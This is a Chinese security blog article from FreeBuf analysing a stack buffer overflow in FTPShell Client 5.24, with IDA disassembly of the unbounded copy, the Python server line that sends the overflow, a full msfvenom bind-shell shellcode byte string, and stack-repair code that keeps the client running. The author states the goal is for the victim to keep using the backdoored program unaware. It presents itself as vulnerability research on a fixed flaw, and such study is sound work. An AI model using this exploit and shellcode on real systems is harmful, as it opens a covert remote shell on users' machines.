freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一次与缓冲区溢出的亲密接触
2018-06-18 08:00:11

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

起因

这是一个简单的缓冲区溢出的漏洞,今天没事,来分析一下看看他溢出的原因,最后通过平衡堆栈的方式,让目标程序执行shellcode使程序不crash。只是用来研究和学习。

测试软件名称及版本

FTPShell Client 5.24 

下载地址:https://pan.baidu.com/s/1IHOfx0IQQOpuTs55f-T-aQ 

密码:qvo4

用到的工具

- IDA 6.8

- winxp sp3 32位虚拟机

测试漏洞

1、起一个ftp服务器,打开21端口。

2、等待客户端连接后,向客户方发送PWD的数据

3、ftp客户端收到服务器发送的PWD数据后,会crash

服务器给客户端发送的数据:

buffer = "A" * 400 + target_eip + "\x90" * 40 + shellcode
sks.send('257 "' + buffer + '" is current directory\r\n')

远程注入代码前后的流程图对比:

1309289.jpg

分析漏洞的位置:

这个call的主要功能键就是读取服务器发送来的数据到buffer

.text:0044D010 8D 95 6C FE FF FF                       lea     edx, [ebp+var_194]
.text:0044D016 52                                      push    edx
.text:0044D017 56                                      push    esi
.text:0044D018 53                                      push    ebx
.text:0044D019 E8 E6 12 00 00                          call    read_server_string_to_buffer ;读取服务器发来的buffer
.text:0044D019                                                                 ; success    = 0 ;
.text:0044D019                                                                 ; fail    = 1; no_server_data
.text:0044D01E 83 C4 0C                                add     esp, 0Ch
.text:0044D021 85 C0                                   test    eax, eax
.text:0044D023 75 34                                   jnz     short loc_44D059

程序分配栈的大小

进入read_server_string_to_buffer这个call,我们看看分配栈的大小为0x408

.text:0044E304 55                                      push    ebp
.text:0044E305 8B EC                                   mov     ebp, esp
.text:0044E307 81 C4 F8 FB FF FF                       add     esp, -408h      ; 分配local栈的大小
.text:0044E30D 53                                      push    ebx
.text:0044E30E 56                                      push    esi
.text:0044E30F 57                                      push    edi
.text:0044E310 8D 75 FC                                lea     esi, [ebp+var_4]
.text:0044E313 8B 45 0C                                mov     eax, [ebp+arg_4]
.text:0044E316 8B 7D 08                                mov     edi, [ebp+arg_0]
.text:0044E319 8B 98 9C 05 00 00                       mov     ebx, [eax+59Ch] ; 收到server发来的buffer指针
.text:0044E31F 85 DB                                   test    ebx, ebx
.text:0044E321 0F 84 3B 01 00 00                       jz      no_server_data

溢出的位置

没有做长度限制,这个地方只要大于0x408个字符,就会把堆栈覆盖

while( v != 0 )
{
   save buffer;__over_flow
}
.text:0044E404    
.text:0044E404                         loop_while_buffer:                      ; CODE XREF: read_server_string_to_buffer+124↓j
.text:0044E404 85 D2                                   test    edx, edx        ; 没有做长度限制,这个地方只要大于408个字符,就会把堆栈覆盖
.text:0044E404                                                                 ; while(    v != 0 )
.text:0044E404                                                                 ; {
.text:0044E404                                                                 ;         save buffer;__over_flow
.text:0044E404                                                                 ; }
.text:0044E406 74 03                                   jz      short loc_44E40B
.text:0044E408 88 0E                                   mov     [esi], cl
.text:0044E40A 46                                      inc     esi
.text:0044E40B
.text:0044E40B                         loc_44E40B:                             ; CODE XREF: read_server_string_to_buffer+102↑j
.text:0044E40B 0F BE 08                                movsx   ecx, byte ptr [eax]
.text:0044E40E 83 F9 22                                cmp     ecx, 22h
.text:0044E411 75 10                                   jnz     short loc_44E423
.text:0044E413 83 FA 01                                cmp     edx, 1
.text:0044E416 75 06                                   jnz     short loc_44E41E
.text:0044E418 4E                                      dec     esi
.text:0044E419 C6 06 00                                mov     byte ptr [esi], 0
.text:0044E41C EB 0C                                   jmp     short break_jump; 数据读取完毕
.text:0044E41E                         ; ---------------------------------------------------------------------------
.text:0044E41E
.text:0044E41E                         loc_44E41E:                             ; CODE XREF: read_server_string_to_buffer+112↑j
.text:0044E41E BA 01 00 00 00                          mov     edx, 1
.text:0044E423
.text:0044E423                         loc_44E423:                             ; CODE XREF: read_server_string_to_buffer+10D↑j
.text:0044E423 40                                      inc     eax
.text:0044E424
.text:0044E424                         loc_44E424:                             ; CODE XREF: read_server_string_to_buffer+FE↑j
.text:0044E424 8A 08                                   mov     cl, [eax]
.text:0044E426 84 C9                                   test    cl, cl
.text:0044E428 75 DA                                   jnz     short loop_while_buffer ; 没有做长度限制,这个地方只要大于400个字符,就会把堆栈覆盖

读取成功和失败的返回值

eax = 0,读取成功

eax = 1,读取失败

这里我们需要保持读取成功的状态才可以

.text:0044E441                         loc_44E441:                             ; CODE XREF: read_server_string_to_buffer+131↑j
.text:0044E441 33 C0                                   xor     eax, eax        ===>成功标志
.text:0044E443 EB 22                                   jmp     short ret_pre
.text:0044E445                         ; ---------------------------------------------------------------------------
.text:0044E445
.text:0044E445                         is_not_number:                          ; CODE XREF: read_server_string_to_buffer+50↑j
.text:0044E445                                                                 ; read_server_string_to_buffer+63↑j    ...
.text:0044E445 53                                      push    ebx
.text:0044E446 8B 55 0C                                mov     edx, [ebp+arg_4]
.text:0044E449 81 C2 98 05 00 00                       add     edx, 598h
.text:0044E44F 52                                      push    edx
.text:0044E450 E8 7B FE FF FF                          call    sub_44E2D0
.text:0044E455 83 C4 08                                add     esp, 8
.text:0044E458 8B D8                                   mov     ebx, eax
.text:0044E45A 85 DB                                   test    ebx, ebx
.text:0044E45C 0F 85 C5 FE FF FF                       jnz     loc_44E327
.text:0044E462
.text:0044E462                         no_server_data:                         ; CODE XREF: read_server_string_to_buffer+1D↑j
.text:0044E462 B8 01 00 00 00                          mov     eax, 1        ===>失败标志
.text:0044E467
.text:0044E467                         ret_pre:                                ; CODE XREF: read_server_string_to_buffer+13B↑j
.text:0044E467                                                                 ; read_server_string_to_buffer+13F↑j
.text:0044E467 5F                                      pop     edi
.text:0044E468 5E                                      pop     esi
.text:0044E469 5B                                      pop     ebx
.text:0044E46A 8B E5                                   mov     esp, ebp
.text:0044E46C 5D                                      pop     ebp
.text:0044E46D C3                                      retn

crash点

.text:0044D077 33 C0                                   xor     eax, eax
.text:0044D079 89 83 38 2B 00 00                       mov     [ebx+2B38h], eax
.text:0044D07F 8B 55 F4                                mov     edx, [ebp+var_C]
.text:0044D082 52                                      push    edx
.text:0044D083 8B 4D F8                                mov     ecx, [ebp+var_8]
.text:0044D086 51                                      push    ecx
.text:0044D087 53                                      push    ebx
.text:0044D088
 FF 55 FC                                call    [ebp+var_4]     ; 
因为堆栈的数据被覆盖程序crash,位置应该是0x408,我们可以把这里指向我们的shellcode的代码段
.text:0044D08B 83 C4 0C                                add     esp, 0Ch        

target_eip

我在这里用的是user32.dll,地址为:0x77d4e56b 你可以根据自己的系统自己选择kernel32.dll或者其他

加入shellcode 

由于这是在没有开启dep保护的情况下进行的测试攻击,所以自己写的代码是可以直接在堆栈运行的。

如果在dep保护模式下进行攻击的话,shellcode的代码就需要通过rop链来进行维护,然后运行。

这里我使用msfvenom -p windows/shell_bind_tcp LPORT=8848 -f c 生成shellcode,等待连接端口

shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x22\x90\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")

运行server,然后用ftp连接,是客户端程序crash了。

连接目标机器

- 然后使用nmap 扫描目标机器,发现目标机器8848端口已经打开,

- 用nc连接进入了一个consle窗口

crash

做事要有始有终,虽然程序crash了,但是我们不需要让程序crash,要不然就被用户知道了,就会更新版本,或者重装软件,所以我们的宗旨是让用户快乐的用这带后门的程序。

分析crash的原因

因为栈的数据被覆盖程序crash

.text:0044D56B 83 C4 0C                                add     esp, 0Ch
.text:0044D56E
.text:0044D56E                         loc_44D56E:                             ; CODE XREF: sub_44D19C+11↑j
.text:0044D56E                                                                 ; sub_44D19C+4A↑j    ...
.text:0044D56E 5F                                      pop     edi
.text:0044D56F 5E                                      pop     esi
.text:0044D570 5B                                      pop     ebx
.text:0044D571 8B E5                                   mov     esp, ebp
.text:0044D573 5D                                      pop     ebp
.text:0044D574 C3                                      retn             ====》返回到上一层的时候,栈地址被覆盖了
.text:0044D574                         sub_44D19C      endp

修复堆栈,防止程序crash

由于返回地址被覆盖,所以我们需要修复堆栈,让程序可以找到自己的返回位置,那么程序就不会crash了,在shellcode代码运行完成后,我们加入以下平衡堆栈的代码,就不会crash了

.text:00000000 BC A4 F8 12 00                          mov     esp, 12FBA4h
.text:00000000 C3                                      retn

再次测试,运行完自己的shellcode,后门已经开了,程序依然还在运行,收工 :)

*本文作者:yearnwang,转载请注明来自FreeBuf.COM

# 缓冲区
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者